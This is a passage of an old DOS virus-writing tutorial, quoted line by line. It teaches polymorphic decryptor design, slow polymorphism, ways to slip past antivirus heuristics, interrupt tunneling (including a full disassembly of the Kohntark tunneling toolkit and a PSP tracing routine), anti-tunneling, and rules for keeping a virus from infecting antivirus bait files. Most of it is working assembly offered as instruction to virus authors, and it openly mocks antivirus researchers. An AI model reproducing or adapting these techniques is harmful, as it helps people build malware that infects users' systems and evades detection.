>             ret     ------------|--|--.
>             [...]               |  |  |
>      avoid_shit:    <-----------'  |  |
>             [...]                  |  |
>             call    shit ----------'  |
>             [...]   <-----------------'

>      % Interrupt calls %
>      -------------------

>      This  is VERY simple, believe me. We can call to this interrupts in our code
>      everytime we  want: they're  do-nothing interrupts. Let's see a little list:

>      INT 01h > CPU-generated - SINGLE STEP; (80386+) - DEBUGGING EXCEPTIONS
>      INT 08h > IRQ0 - SYSTEM TIMER; CPU-generated (80286+)
>      INT 0Ah > IRQ2 - LPT2/EGA,VGA/IRQ9; CPU-generated (80286+)
>      INT 0Bh > IRQ3 - SERIAL COMMUNICATIONS (COM2); CPU-generated (80286+)
>      INT 0Ch > IRQ4 - SERIAL COMMUNICATIONS (COM1); CPU-generated (80286+)
>      INT 0Dh > IRQ5 - FIXED DISK/LPT2/reserved; CPU-generated (80286+)
>      INT 0Eh > IRQ6 - DISKETTE CONTROLLER; CPU-generated (80386+)
>      INT 0Fh > IRQ7 - PARALLEL PRINTER
>      INT 1Ch > TIME - SYSTEM TIMER TICK
>      INT 28h > DOS 2+ - DOS IDLE INTERRUPT
>      INT 2Bh > DOS 2+ - RESERVED
>      INT 2Ch > DOS 2+ - RESERVED
>      INT 2Dh > DOS 2+ - RESERVED
>      INT 70h > IRQ8 - CMOS REAL-TIME CLOCK
>      INT 71h > IRQ9 - REDIRECTED TO INT 0A BY BIOS
>      INT 72h > IRQ10 - RESERVED
>      INT 73h > IRQ11 - RESERVED
>      INT 74h > IRQ12 - POINTING DEVICE (PS)
>      INT 75h > IRQ13 - MATH COPROCESSOR EXCEPTION (AT and up)
>      INT 76h > IRQ14 - HARD DISK CONTROLLER (AT and later)
>      INT 77h > IRQ15 - RESERVED (AT,PS); POWER CONSERVATION (Compaq)

>      These are  the INTs you  can call without any kinda problem. I recommend you
>      to build a table with the number  of the  ints in  order to make a procedure
>      that generates da INT opcodes. HEY! I forgot! The INT OpCode is CD, followed
>      by the interrupt number, that it's a byte.

>      Another  very good  choice is  to  make calls to the INT 21h/INT 10h/INT 16h
>      with do-nothing functions. Let's see the INT 21h possible functions...

>      AH=0Bh   > Read entry state
>      AH=0Dh   > Flush buffers
>      AH=19h   > Get current drive
>      AH=2Ah   > Get current date
>      AH=2Ch   > Get current time
>      AH=30h   > Get dos version number
>      AH=4Dh   > Get error code
>      AH=51h   > Get active psp
>      AH=62h   > Get active psp

>      AX=3300h > Get break-flag
>      AX=3700h > Get line-command separator
>      AX=5800h > Get mem concept
>      AX=5802h > Get umb insert

>      I think it is quite clear how to do the code. Generate a MOV AH/AX,value and
>      an INT 21h isn't hard. Just do it! :)

>      Btw, Vecna gave me a kewl idea when the version 1.03 of this guide was publi
>      shed in 29A#3. He  said me: you  can use  more ussual function such as open,
>      read, etc. because DX  is fucked, and  they will  simply return an  error :)

>      % Random number generator %
>      ---------------------------

>      There's one of  the most important this  of your PER. The  simplest way  for
>      obtain a random number is to call to port 40h,and see what it returns. Let's
>      see some code:

>      random:
>             in      ax,40h
>             in      al,40h
>             ret

>      We can  also use INT 1Ah, or  another thing that we think that can return us
>      different  numbers each time. If we  want a number in  a determinated range,
>      we can make use  of the instuction AND. Let's see the simplest procedure for
>      make a random number in range:

>      random_in_range:
>             push    bx
>             xchg    ax,bx
>             call    random
>             and     ax,bx
>             pop     bx
>             ret

>      It will return a number between 0 and da marked in AX-1. An optimized way to
>      do the random in  range procedure is  to use the division. Remember what the
>      division does, paying attention to the remainder. When we do a division, the
>      remainder can never be higher ( or equal ) to the divisor. So, the remainder
>      can be between 0 and the divisor - 1. Let's  see how will  be a procedure by
>      using division:

>      random_in_range:
>             push    bx dx
>             xchg    ax,bx
>             call    random
>             xor     dx,dx
>             div     bx
>             xchg    ax,dx
>             pop     dx bx
>             ret

>      Preety simple, as  you can see. The random number stuff will continue in the
>      next part of this chapter, the slow polymorphism.

>      % Slow polymorphism %
>      ---------------------

>      If you know how this stuff fuck AVs, you'd think it's a very difficult tech-
>      nique, or something. No. The authors of  the firsts polymorphic engines tho-
>      ugth that the best way to fuck AV was to make the decryptors  very variables
>      each generation. It was a very good idea for the firsts PERs, but, the AVers
>      discovered that  infecting thousands of baits  with a polymophic virus, they
>      could see all the possible mutations, and then, add a simple scan string for
>      their  ShitWare ( aka AntiViruses ). But... what  happens if we make the de-
>      cryptors' mutation very slow? Then, da slow polymorphism was born. Yes, with
>      this simple  idea, that can seem to be a bullshit, we can make AVers go mad.
>      The most important thing we must change in order to get slow polymorphism is
>      da random number generator. By changing this, we have a slow mutation engine
>      for our  needs. We can  improve it, but it'll work  preety good for  ALL our
>      needs. We  need values that don't change fast, like month, day or something,
>      and then play something with them ( if you want, of course ) ;)

>      random_range:
>             push    bx cx dx
>             xchg    ax,bx
>             mov     ax,2C00h
>             int     21h
>             xchg    ax,dx
>             xor     ax,0FFFFh
>             xor     dx,dx
>             div     bx
>             xchg    ax,dx
>             pop     dx cx bx
>             ret

>      And, with  a routine  like this, your  PER is  now 100% slow  polymorphic. I
>      believe that the concept is quite clear.

>      Instead  of this, you can  test to add a counter that  avoids mutations in a
>      huge  period of time, but i prefer the  above technique for slow polymorphy.

>      % Advanced polymorphy %
>      -----------------------

>      Your  steps must go to advanced polymorphism. You must try to generate real-
>      istic structures, like a program with calls to subroutines, interrupts, play
>      with values already known, make  comparisons followed by  conditional jumps,
>      and whatever you can  imaginate. You  must always improve the variability of
>      your poly engine: if it's slow and very  variable, AV will fuck off. Imagine
>      da posibilities: you can decrypt your code from top to bottom and vice-versa
>      use si, di, bx or whatever you want as count register, you can add a genera-
>      tor for long routines, such as little anti-debugging tricks ( neg sp/neg sp,
>      not sp/not sp... ), make  a  mid-virus ( or mid-file )  decryptor, an  INT 1
>      decryptor ( hell good trick! ), make do-nothing  memory movements, use  word
>      operatons at time as byte ones, combine them, substitute them...

>      Else, you can try with something already more advanced, like envolving poly-
>      morphism, and else. There  are some  interesting documents about  this fact,
>      like the Methyl's ( aka Owl[FS] ) ones.

>      % Last words about polymorphism %
>      ---------------------------------

>      But, as the real world is a shit, the AV scum will try to get all our possi-
>      ble decryptors by disassembling our preety slow polymorphic engine.

>      But, here  comes the armouring for save our ass. We must heavily protect our
>      PER with  an encryption  routine specially  for it ( it must be a very ANTI-
>      DEBUGGING  decryptor ). As they won't  have enough time  to disassemble  the
>      engine, they won't  see all it can do :) You  have a very  good selection of
>      ANTI-DEBUGGER techniques in the chapter with this name ( some chpts. above )
>      So, at  this time, they will concentrate  their efforts in the baits, and we
>      must avoid the infection of this non-sense files. More  of this in ANTI-BAIT
>      chapter, some chapters below ;)

>      I want to see your PERs rocking the world! :)

>     ---| Anti-Heuristics |-------------------------------------------------------

>      The  heuristics search for suspicious things at our code. Just avoid the use
>      of things like "*.com" and  so on... Well, i  explain it better. Follow this
>      points.

>      + Don't use wildcars like "*.com" or "*.exe":

>      This  kinda things are  only used in  runtime  viruses, but if you really
>      need  it... You  can  put something  like "*.rom"  instead "*.com" and  then
>      something like this:

>             mov byte ptr [bp+comfile+2],"c"

>      Remember: before writing virus body, restore the r of "*.rom"...

>             mov byte ptr [bp+comfile+2],"r"

>      or you've made a null effort.
>      In  this example we  assume BP as delta  offset, comfile as db "*.rom",0 and
>      the virus is a direct action infector

>      + Don't use obvious routines:

>      We're talking about the classic INT 21h AH = 40h, INT 21h AX = 4301h...
>      You can made a lot of things... let's play with AX = 4301h

>      I've  read this in  somewhere i don't remember now ( Maybe Wizard's tutorial
>      in spanish :-? )

>             push 4301h
>             pop ax

>      But  there's a problem... Compile it and then disassembly it. Let's see some
>      TASM generated shit :) Of course, this only happens if da selected processor
>      in the source is worse than a 386.

>             push ax bp
>             mov bp,sp
>             mov word ptr [bp+02],4301h
>             pop bp ax

>      This is the disassembled code of push 4301h and pop ax. It takes 11 bytes!!!
>      I think it's a waste of code. Better use things like:

>             mov ax,4300h
>             inc ax

>      or better:

>             mov ax,0043h
>             inc ah
>             xchg ah,al

>      and also:

>             mov bx,4300h
>             xor ax,ax
>             xchg ax,bx

>      + Be paranoid with all the routines of your polymorphic engine:

>      Be careful of the use of a lot of garbage, like one byte instructions ( cli,
>      sti, lahf, nop, std, cld, cmc... ). The AV  can show  a flag. The  heuristic
>      engine will try to decrypt yer code. I recommend you to put an antidebugging
>      routine  for stop it. Take  a look  to ARMOURING chapter  in  this document.

>      + Don't use strange calls for your residence check:

>      If  you use some  like AX = DEADh for your  residence check, a  flag will be
>      triggered. Use  checks below 6E00h. There're  a lot of functions below 6E00h
>      unused. Take a look to Ralph Brown's interrupt list for more info.

>      + Don't use rare interrupts:

>      If you use interrupts above 80, a flag will be triggered.

>      + Optimize your code as much as possible:

>      Look  the tutorials that  talk about this ( like darkman's in VLAD#2, or the
>      one in this same document )

>      + Try to be original in the ë offset obtaining:

>      For obtain delta offset don't use:

>             call delta
>      delta:
>             pop si
>             sub si,offset delta

>      This is  used by  a lot of viruses, and  a flag will be triggered sure. ( In
>      this example, delta offset will be in SI )

>      There are a lot of alternative ( yeah! ) ways to get the delta offset:

>             mov bx,old_size_of_infected_file
>             jmp bx

>      ( You can use another registers than BX, of course ;) )

>      another one:

>             call delta
>      delta:
>             mov si,sp
>             mov bp,word ptr ss:[si]
>             sub bp,offset delta

>      ( In this, BP will be Delta offset )
>      and another one:

>             mov bp,sp
>             int 03h
>      delta:
>             mov bp,ss:[bp-6]
>             sub bp,offset delta

>      + Make  your encryption routine  very optimized. If  you use  some shit, the
>      heuristic will catch the virus, and all our efforts will go shit.

>      + Make your TSR routines very strange:

>      Try to avoid the compare with 0:

>             cmp byte ptr [0],"Z"

>      + In  your int 21  handlers avoid to  use the " real " cmps,  just  try with
>      something like this ( examples with 4bh ):

>             xchg ah,al
>             cmp al,4Bh
>             [...]
>             xchg ah,al

>      or make a xor with the value.

>             xor ax,0FFFFh
>             cmp ah,(4Bh xor 0FFh)
>             xor ax,0FFFFh

>       or this two at time ;)

>             xor ax,0FFFFh
>             xchg ah,al
>             cmp al,(4Bh xor 0FFh)
>             xchg ah,al
>             xor ax,0FFFFh

>      REMEMBER THIS: After  the call  to the real int 21 return  all the values as
>      they are before making this routines

>      + The heuristic will search with compares with "MZ" or "ZM" like

>             cmp ax,"ZM"
>             cmp ax,"MZ"

>      You can try with something like this:

>             mov al,byte ptr [header]
>             add al,byte ptr [header+1]
>             cmp al,"M"+"Z"

>      This is a very useful routine: You  are checking at the same time for MZ and
>      ZM. Assumed  things... Header  contains at  least the  2 firsts bytes of the
>      header. Or  you can  make it, but in lower case, with  a simple  or ax,2020h
>      ( AX is  the register  containing the string ), and  compare with  something
>      like:

>             cmp ax,"zm"
>             cmp ax,"mz"

>      + Try to make your virus as rare as you can :)

>      + Scan  a lot of times  your code with  a lot of AVs to see if it's detected

>      + Change  sightly the routines for restore the  COM and EXE hosts. Let's see
>      now how to make an anti-heuristic restore for COM files:

>             mov     di,101h                 ; This shit will fool AV
>             dec     di
>             push    di                      ; DI=100h :)
>             lea     si,[bp+offset OldBytes] ; Restore 3 bytes
>             movsw                           ; ( Change it for your needs )
>             movsb
>             ret                             ; Jump to 100h ;)

>      oldbytes       db CDh,20h,00

>      And now let's see how to fuck heuristics when EXE restoring:

>             mov     bx,bp                   ; Use BX as delta offset ;)
>             mov     ax,ds
>             add     ax,0010h
>             add     word ptr cs:[bx+@@CS],ax
>             add     ax,cs:[bx+@@SP]
>             cli
>             mov     ss,ax
>             mov     sp,cs:[bx+@@SS]
>             sti

>             db      0EAh                    ; JUMP FAR

>      cs_ip          equ     this dword
>      @@IP           dw      0000h           ; In 1st gen, put here the offset to
>                                             ; a MOV AX,4C00h/INT 21h
>      @@CS           dw      0000h
>      ss_sp          equ     this dword
>      @@SS           dw      0000h
>      @@SP           dw      0000h

>      % Last things %
>      ---------------

>      The huge fail some heuristics have ( like TBSCAN ) are that they dont search
>      for the values of the registers. We can exploit this thing. Just think about
>      all da possibilities to make a mov ax,4301h or a cmp ah,4Bh... All is in yer
>      hands...

>     ---| Tunneling |-------------------------------------------------------------

>      We call tunneling  to all the attemps for obtain the original vectors of any
>      interrupt, that it's about all times da INT 21h. Well, all attempts can't be
>      called tunneling ( for  example, the backdoors ), but we'll  talk about them
>      in this article tho.

>      Tunneling was  developed for avoid  the TSR watchdogs. This kinda anti-virus
>      are ununderstandable ( whatta word! :) ) for da normal user, coz they notify
>      the attempts to hook interrupts, open executables, and all the stuff a virus
>      ussually do. This  methods are really  hard to fool with stuff like the show
>      before ( anti-heuristics ), because  they don't  search for  bits, they only
>      hook and control the important interrupts ( 21h, 13h... ).

>      The  most  populars  TSR  watchdogs are  the  Flintstones' VSAFE, VSHIELD...
>      Our  objective is to get the original vectors but... how can do it? You have
>      a lot of ways for choose.

>      % Tracing %
>      -----------

>      This  is probably one  of the most  used ways, but it's clearly unsafe. Yes,
>      this  type of tunneling is very  fragile, and  you will know  why if you pay
>      attention to the following lines :)

>      There  is a flag, called  Trap Flag ( ussually abbreviated as TF ), used for
>      put  the processor in  single-stepping mode  if it' s activated. The single-
>      stepping  mode is  what debuggers  use for  execute the  code instruction by
>      instruction, and we can use it for our needs, of course :)

>      Every time an instrution is executed, and da TF is activated, the INT 1 will
>      be called, so this is our time :) But there isn't an intruction for activate
>      it, so we must play with the flags. Let's see how we can activate the TF:

>             pushf                           ; Push flags to stack
>             pop ax                          ; And put them into AX for play
>             or ax, 100h                     ; We activate the TF at this point
>             push ax                         ; We must push AX...
>             popf                            ; for restore our preety flags :)

>      With  this simple code you have activated the trap flag. I forgot to put the
>      flags, so here you have:

>      Position >  0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
>                  vv vv vv vv vv vv vv vv vv vv vv vv vv vv vv vv
>      Flags    >  -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF

>      The flags are  in a 16 bit register, as  you can see. Here you have the list
>      of flags, and its meanings:

>      CF : Carry Flag     > Indicates an arithmetic carry
>      PF : Parity Flag    > Indicates an even number of 1 bits
>      AF : Auxilary Flag  > Indicates adjustment needed in BCD numbers
>      ZF : Zero Flag      > Indicates a zero result, or equal comparison
>      SF : Sign Flag      > Indicates negative result/comparison
>      TF : Trap Flag      > Controls Single Step operation
>      IF : Interrupt Flag > Controls whether interrupts are enabled
>      DF : Direction Flag > Controls increment direction on string regs.
>      OF : Overflow Flag  > Indicates signed arithmetic overflow

>      Let's  remember some things about the  interrupts. Every time we call an INT
>      at the  stack are 6 bytes: the  flags and the CS:IP. You must remember this,
>      because we must to call to the INT 21h, and then trace its code. If after da
>      call  the CS ( in the stack ) is  equal to the one that the DOS has given to
>      us  when  we've  requested for  interrupt  vectors, the INT is the good one.
>      The simples routine for make tunneling could be like this one:

>      int01handler:
>             push bp
>             mov bp, sp
>             push dx
>             mov dx, word ptr cs:[dossegment]
>             cmp [bp+6], dx
>             jz found
>             pop dx
>             pop bp
>             iret
>      found:
>             mov dx, [bp+6]
>             mov word ptr cs:[int21_seg], dx
>             mov dx, [bp+4]
>             mov word ptr cs:[int21_off], dx
>             pop dx
>             pop bp
>             add sp, 6
>             [...]

>      But this kinda tunneling, as i said at the beginning of the explanation, has
>      a  lot of weak  points. We  aren't protected  to POPF, PUSHF, CLI, and  a TF
>      deactivation, because we're really EXECUTING the code.
>      If the AV  redirected the INT 21h to another INT, we're fucked again. As you
>      can see, the tracing isn't safe.

>      Well, we can solve some problems by checking for some instructions, as PUSHF
>      and POPF, for don't let lamerz to deactivate the TF.
>      Anyways, the tracing ain't the best choice...

>      % Byte to Byte %
>      ----------------

>      The most popular ( the only one ) source is the Kohntark Recursive Tunneling
>      Toolkit ( aka KRTT ). The  method it uses  is to make comparisons to all the
>      opcodes in  the int handler, in order  to see if it's a CALL, CALL FAR, JUMP
>      FAR,  and JUM OFF:SEG, and  then get  this  value as INT 21h. Let's  see the
>      complete  disassembly of the  file KRTT41.OBJ of the KRTT41 package, that is
>      main center of the toolkit.

>     ;---[ CUT HERE ]-------------------------------------------------------------
>     ; Kohntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KohntarK
>     ; Disassembly by Billy Belcebu/DDT
>     ;
>     ; INPUT:
>     ;       > BP : 01             Searches for INT 2Ah handler
>     ;       > BP : 02             Searches for INT 13h handler
>     ;       > BP : another value  Searches for INT 21h handler
>     ; OUTPUT:
>     ;       > AH : 00             Not found
>     ;       > AH : 01             Found!
>     ;       > AH : 02             Int 21h / 2Ah / 13h  Not Hooked
>     ;       > AH : 03             DOS internal interrupts are hooked
>     ; If found:
>     ;       > DX                  DOS INT 21h / 2Ah / 13h SEGMENT
>     ;       > DI                  INT 21h  / 2Ah / 13h OFFSET
>     ;       > AL                  RECURSION DEPT
>     ; DESTROYED:
>     ;       > AX,BX,CX,DX,DI,BP,ES
>     ;
>     ; Assemble:
>     ;       TASM KRTT41.ASM
>     ;       TLINK  KRTT41.OBJ
>     ;
>     ; Call TUNNEL for make tunneling
>     ;
>     ; NOTE: It's the first time  i try with a disasm of something, so if i made a
>     ; _HUGE_ mistake, notify me :) This ain't my job...

>            .model   tiny
>            .code
>             public  tunnel

>     tunnel:
>             cli                             ; Disable interrupts for tunneling
>             xor     ax,ax
>             mov     es,ax                   ; Make ES = 0 for get IVT
>             xor     di,di
>             mov     dx,es:[00AEh]           ; Checks for assure tunneling
>             mov     cx,es:[00A2h]           ; INT 26h =! INT 28h
>             cmp     dx,cx
>             jz      check
>             mov     cx,es:[00B2h]           ; INT 26h =! INT 28h =! INT 2Ch
>             cmp     dx,cx
>             jz      check
>             mov     ah,03                   ; Checks failed : DOS ints are hooked
>             ret
>     check:
>             cmp     bp,01h                  ; BP=1       Hook INT 2Ah
>             jz      int2A
>             cmp     bp,02h                  ; BP=2       Hook INT 13h
>             jz      int13
>     int21:
>             mov     bx,es:[0084h]           ; BP=Other   Hook INT 21h
>             mov     es,es:[0086h]
>             jmp     go4it
>     int13:
>             mov     bx,es:[004Ch]           ; Get INT 13h vectors from the IVT to
>             mov     es,es:[004Eh]           ; ES:BX
>             mov     bp,es
>             mov     dx,0070h
>             cmp     bp,dx
>             jz      nothooked
>             jmp     letstunnelit
>     int2A:
>             mov     bx,es:[00A8h]           ; Get INT 13h vectors from the IVT to
>             mov     es,es:[00AAh]           ; ES:BX
>     go4it:
>             mov     bp,es
>             cmp     dx,bp
>             jnz     letstunnelit
>     nothooked:
>             xchg    bx,di
>             mov     ah,02h                  ; INT not hooked *yeah* ;)
>             ret
>     letstunnelit:
>             call    main_body               ; Go and tunnel it
>             sti
>             ret
>     main_body:
>             push    es
>             push    bx
>             cmp     al,07h                  ; Check for recursion
>             jz      exit
>             cmp     ah,01h                  ; Found ?
>             jz      exit
>             inc     al
>             mov     cx,0FFFAh
>             sub     cx,bx
>     main_loop:
>             push    bx
>             cmp     byte ptr es:[bx],0E8h   ; Is OpCode a CALL ?
>             jz      callsig16
>             cmp     byte ptr es:[bx],0EAh   ; Is it a JUMP OFFSET:SEGMENT ?
>             jz      far_stuff
>             cmp     byte ptr es:[bx],09Ah   ; Is it a CALL FAR ?
>             jz      far_stuff
>             cmp     byte ptr es:[bx],02Eh   ; A Segment Override CS maybe ? :P
>             jnz     jmpfar
>             cmp     byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
>             jnz     jmpfar
>             cmp     byte ptr es:[bx+02],01Eh ; PUSH DS ?
>             jz      far_stuff2
>             cmp     byte ptr es:[bx+02],02Eh ; CS ? ( again )
>             jnz     jmpfar
>     far_stuff2:
>             mov     bp,es:[bx+03]
>             dec     bp
>             xchg    bx,bp
>             jmp     far_stuff
>     jmpfar:
>             pop     bx
>             cmp     ah,01h                  ; Found ?
>             jz      exit
>             cmp     al,07h                  ; Check for recursion
>             jz      exit
>             inc     bx
>             loop    main_loop               ; And loop it
>     callsig16:
>             pop     bx
>             add     bx,03h
>             loop    main_loop
>     exit:
>             pop     bx
>             pop     es
>             ret
>     far_stuff:
>             pop     bp
>             add     bp,04h
>             push    bp
>             cmp     es:[bx+03],dx
>             jz      found
>             cmp     word ptr es:[bx+03],00h
>             jz      jmpfar
>             push    es
>             pop     bp
>             cmp     es:[bx+03],bp
>             jz      jmpfar
>             mov     bp,bx
>             mov     bx,es:[bx+01]           ; Where it points
>             mov     es,es:[bp+03]
>             call    main_body
>             jmp     jmpfar
>     found:
>             mov     di,es:[bx+01]
>             mov     ah,01                   ; INT 21 found
>             jmp     jmpfar
>     end     tunnel
>     ;---[ CUT HERE ]-------------------------------------------------------------

>      I  you  want  the  full package, search  for it. It's  very  easy  to  find.
>      But the  KRTT isn't safe. " FUCK! " you can think. The tunneling seems to be
>      a very unsafe and fragile tecnique. This happens only in this old tecniques.
>      The KRTT  will suck if  the control is  returned by another instruction that
>      isn't da four implemented. It's very easy to call INT 21h with a conditional
>      jump or a  RETF, and this will fuck us. And this tecnique MUST be recursive,
>      due its nature.

>      % PSP tracing %
>      ---------------

>      If  you remember the VERY important structure  that was PSP, and you see the
>      description of  this same  document about the offset 0005, you will think...
>      " What the hell is this of the FAR CALL to the INT 21 ? ". This offset of da
>      PSP is quite  obsolete, it's only preserved for  compatibility with very old
>      programs. But  it contains very  interesting  data, like INT 21h dispatcher.
>      The INT 21h dispatcher ain't da INT 21h handler, don't forget it. As Satan's
>      Little Helper said, da offset PSP:6 can point directly to the dispatcher, or
>      point indirectly, that requires some playing with the double nop call to the
>      first one.

>      The below  routine is from VLAD#3 ( whatta good group! ), an article written
>      by  Satan's Little  Helper, that shown  the way  for get  INT 21h address by
>      using PSP.

>     ;---[ CUT HERE ]-------------------------------------------------------------
>     ; PSP tracing routine by Satan's Little Helper
>     ; Published in VLAD#3
>     ;
>     ; INPUT:
>     ;       > DS                  PSP segment
>     ; OUTPUT:
>     ;       > DS:BX               INT 21h address
>     ;       > CF                  0
>     ; if tunnel failed:
>     ;       > DS:BX               0000:0000
>     ;       > CF                  1

>     psp_trace:
>             lds     bx,ds:[0006h]           ; a pointer to dispatch handler
>     trace_next:
>             cmp     byte ptr ds:[bx],0EAh   ; JMP SEG:OFF ?
>             jnz     check_dispatch
>             lds     bx,ds:[bx+1]            ; point to the SEGMENT:OFFSET
>             cmp     word ptr ds:[bx],9090h
>             jnz     trace_next
>             sub     bx,32h                  ; 32h byte offset from dispatch
>                                             ; handler
>             cmp     word ptr ds:[bx],9090h  ; If all is OK, INT 21h has this
>             jnz     check_dispatch          ; signature ( 2 NOPs )
>     good_search:
>             clc
>             ret
>     check_dispatch:
>             cmp     word ptr ds:[bx],2E1Eh  ; PUSH DS, CS: ( prefix )
>             jnz     bad_exit
>             add     bx,25h
>             cmp     word ptr ds:[bx],80FAh  ; CLI, PUSH AX
>             jz      good_search
>     bad_exit:
>             stc
>             ret
>     ;---[ CUT HERE ]-------------------------------------------------------------

>      Preety simple and effective. Test it! And, with the skeleton of the PSP tra-
>      cing we can use another method, the INT 30h backdoor.
>      The PSP tracing is better than the normal tracing, because in the second one
>      we don't know if we're  executing the code  of an AV, and using the PSP this
>      can't occur.

>      % INT 30h backdoor %
>      --------------------

>      This is very easy, if you undertood da above technique. The INT 30h has code
>      to jump to the dispatcher, so we can put something like this:

>             xor     bx,bx
>             mov     ds,bx
>             mov     bl,0C0h                 ; INT 30h offset in IVT
>             jmp     trace_next

>      Be warned that the INT 30h in Windoze  enviroment is used for another purpo-
>      ses, but that is another history :)

>      % Code Emulators %
>      ------------------

>      The first article i can remember is the one that Methyl [IR/G] made some ti-
>      me ago, published in IR#8 ( IRG#1? ). This little lesson ain't as Methyl one
>      i haven't  so much space ( this tute  is becoming huge ), so this  lesson is
>      about 100% theorical. But  don't give up, it's  very easy to understand. For
>      me the emulation seems to be an improvement to the old byte-to-byte scanning
>      but much more enhaced and safe. I'm not saying that it's EQUAL. The byte-to-
>      byte scanning only compared da opcodes, and the emulation makes some playing
>      around to make the same as da instruction makes when executing: the emulati-
>      on follows da FLOW of the program, makes the fake jumps, the calls... And in
>      this way, it searches for  the possible  INT 21h jump, that is what we need.
>      Ok, this  is the  concept. If you wanna know more, i suggest you to download
>      the IR#8, and  take a  look to  Methyl's  tute. That  is a good magazine, so
>      enjoy its read!

>      % Advanced tunneling %
>      ----------------------

>      Ahhh... the  same shit of  all this document: i don't want to make your head
>      explode with  too much knowledge. There're  techniques much more safe, cool,
>      new... but  they're  too much  hard, and it  implementation in this document
>      would suck a hugh amount of your hard disk :)

>     ---| Anti-tunneling |--------------------------------------------------------

>      Tunneling tecniques are also used by da ShitWare ( AntiViruses ) for install
>      its products, and all  our efforts in  order to  catch the original  INT 21h
>      vectors  will suck, coz  they're using  the same weapons that we use. And we
>      don't like this. Also, other viruses can tunnel us, and this ain't cool. The
>      system is OURS, and no one else! :)

>      As ShitWare uses routines for detect if someone is tracing, we can use their
>      own  routines in order to  fight againist them: they're unprotected to this.
>      As we  used a routine to activate the  trap flag tor tracing... Could we use
>      another  for deactivate it? Sure. It's  very simple. Instead  using a OR for
>      activate it, for deactivate we must use an AND.

>             pushf
>             pop     ax
>             and     ah,11111110h
>             push    ax
>             popf

>      Ain't it charming? :) With this shit we've fucked their attempt to steal OUR
>      INT 21h. But... what  if we want  to know if there's someone trying to steal
>      it? This routine  is stolen from this same document, from ARMOURING chapter.

>             push    ax
>             pop     ax
>             dec     sp
>             dec     sp
>             pop     bx
>             cmp     ax,bx
>             jz      not_traced
>             jmp     $                       ; If traced, freeze the processor
>      not_traced:
>             [...]

>      A nice attitude: be lamer with his own stuff :)

>      This  chapter is an extension  of the TUNNELING chapter. So... with this two
>      simple  routines, and a  little bit of  good luck, you can go so far away :)

>     ---| Anti-bait |-------------------------------------------------------------

>      The baits/sacrifical goats are programs that don't do anything. And you will
>      wonder why... They use this programs for catch the viruses, that will infect
>      them. And, they will have a copy of our virus :(

>      But  our great  problem is  when  our virus is polymorphic. They will infect
>      about  10 thousands  of this  files in order to  search for a realiable scan
>      string and/or algorithm that catch about all da possible mutations. Of cour-
>      se, if  we add code to  simply refuse the infection for this programs, we're
>      fucking them ( it's  boring to fuck  always the same  people, but they  work
>      fucking ours... ) ;)

>      There are  some points you  can follow for  don't allow ( or make hard ) our
>      virus to infect a bait:

>      - Don't  infect files at  least < 5000, or better,  refuse < 10000. So we're
>      making AV to  create 10000 baits, of 10000 bytes each one. So they will need
>      at least 100 megs for our virus :)

>      - Don't  infect files with  numbers in its  name. Baits  are ussually called
>      "00000000.COM", "00000001.COM" and such like.

>      - Don't infect  files with  consecutive names. This  can seem  the same than
>      the above. Not. If  they see that our virus don't infect the files with num-
>      bers, they  will create  files  like "AAAAAAAA.COM", "AAAAAAAB.COM" and shit
>      like this.

>      - Don't infect  consecutive files with the same size. This is another strain
>      of the above two methods.

>      - Don't  infect the files  with today's date. About all the executable files
>      are in  one computer  for some days  and/or months. It's very  rare  to find
>      files  with today's  date ( well, not at all, but  about all the  baits have
>      this date ).

>      - Catch a timer interrupt, or whatever you want in order to avoid the infec-
>      tion of  files in at least 10 minutes. Just imagine one situation... an AVer
>      is  trying to get a scan  string for  our virus. We've  implemented all  the
>      above anti-bait tecniques  in our  virus, and the AVer  will reboot a lot of
>      times  for see  what triggers the refuse of  the virus. And, if each boot we
>      make him  to wait 10  minutes... He will waste a lot of time in our virus :)

>      - Don't infect  files at root directory. A lot of bait generators make their
>      baits at root directory, so they're fucked again :)

>      - Don't infect  files with zero-jumps and calls: This are only used by baits
>      and PERs, so... Search  for all E9 00 00, E8 00, [70..7F] 00, and such like.

>      - Of course, check  for a lot  of NOPs, XCHGs with  the same register ( XCHG
>      BX,BX ), moves with the same register...

>      - Check for a huge amount of 0 bytes, or consecutive INCs/DECs with the same
>      register... When  you've seen  a program  that makes  a INC DX followed by a
>      DEC DX ???

>      - Detect if  the first thing  the file executes is a MOV AX,4C00h/INT 21h or
>      a INT 20h.

>      If a  virus has  implemented at least 5 of  this things in its code, be sure
>      that it'll be higly anti-bait. :)

>     ---| Optimization |----------------------------------------------------------

>      There are  two kinds of  optimization: structural and  local. In this little
>      chapter  i'll talk  about the two  kinds. But first  you must understand one
>      thing: never  optimize your  code until it's  full-working. If  you begin to
>      optimize  a code that don't works, ther'll be a lot of more things that will
>      make  it don't work, you'll  try to fix  it, and you'll make  more and  more
>      mistakes... an endless loop of shit :)

>      % Structural optimization %
>      ---------------------------

>      This  is the most  effective, and the more  hard to do  and understand. This
>      kinda  optimization can be  easily unserstand by  using a paper, and writing
>      there the algorithm of your virus. We haven't here paper, so let's imaginate
>      a situation... imagine you, on yer virus, open the file first for read only,
>      close, open again for read/write, and close again. This is a waste of bytes.
>      For this  kind of optimization,  you must think  a lot about what things can
>      you  change and save  bytes, and what  things don't. The  solutions must  be
>      custom-made to your problems.

>      % Local optimization %
>      ----------------------

>      This  is the easiest way, however it can save a lot of bytes tho. It consist
>      in change some code lines individually to another ones that do the save job,
>      using less bytes.

>      + Clearing Registers:

>             mov     bx,0000h                ; 3 bytes
>             xor     bx,bx                   ; 2 bytes
>             sub     bx,bx                   ; 2 bytes

>      So, never  use the first  one, and  choose one of the other ways. There is a
>      register that can be cleared by other way: DX. Let's see:

>             mov     dx,0000h                ; 3 bytes
>             xor     dx,dx                   ; 2 bytes
>             sub     dx,dx                   ; 2 bytes
>             cwd                             ; Convert word to dword ( 1 byte )

>      The  CWD will ONLY  work if AX content is less that 8000h. There is a way to
>      clear  AH with  a one-byter: if AL < 80h  you can  use the  CBW instruction.

>      + Comparisons:

>      There's a  very  well know  way by all us,  that is  to use  the instruction
>      developed  specially for  this: the CMP. For  compare two register,  you can
>      use two ways with the same result, and no savings:

>             cmp     ax,bx                   ; 2 bytes
>             xor     ax,bx                   ; 2 bytes

>      But  we can only use XOR in all the cases if we want only know if the values
>      are EQUAL. However,  we CAN save bytes if we use xor instead cmp when compa-
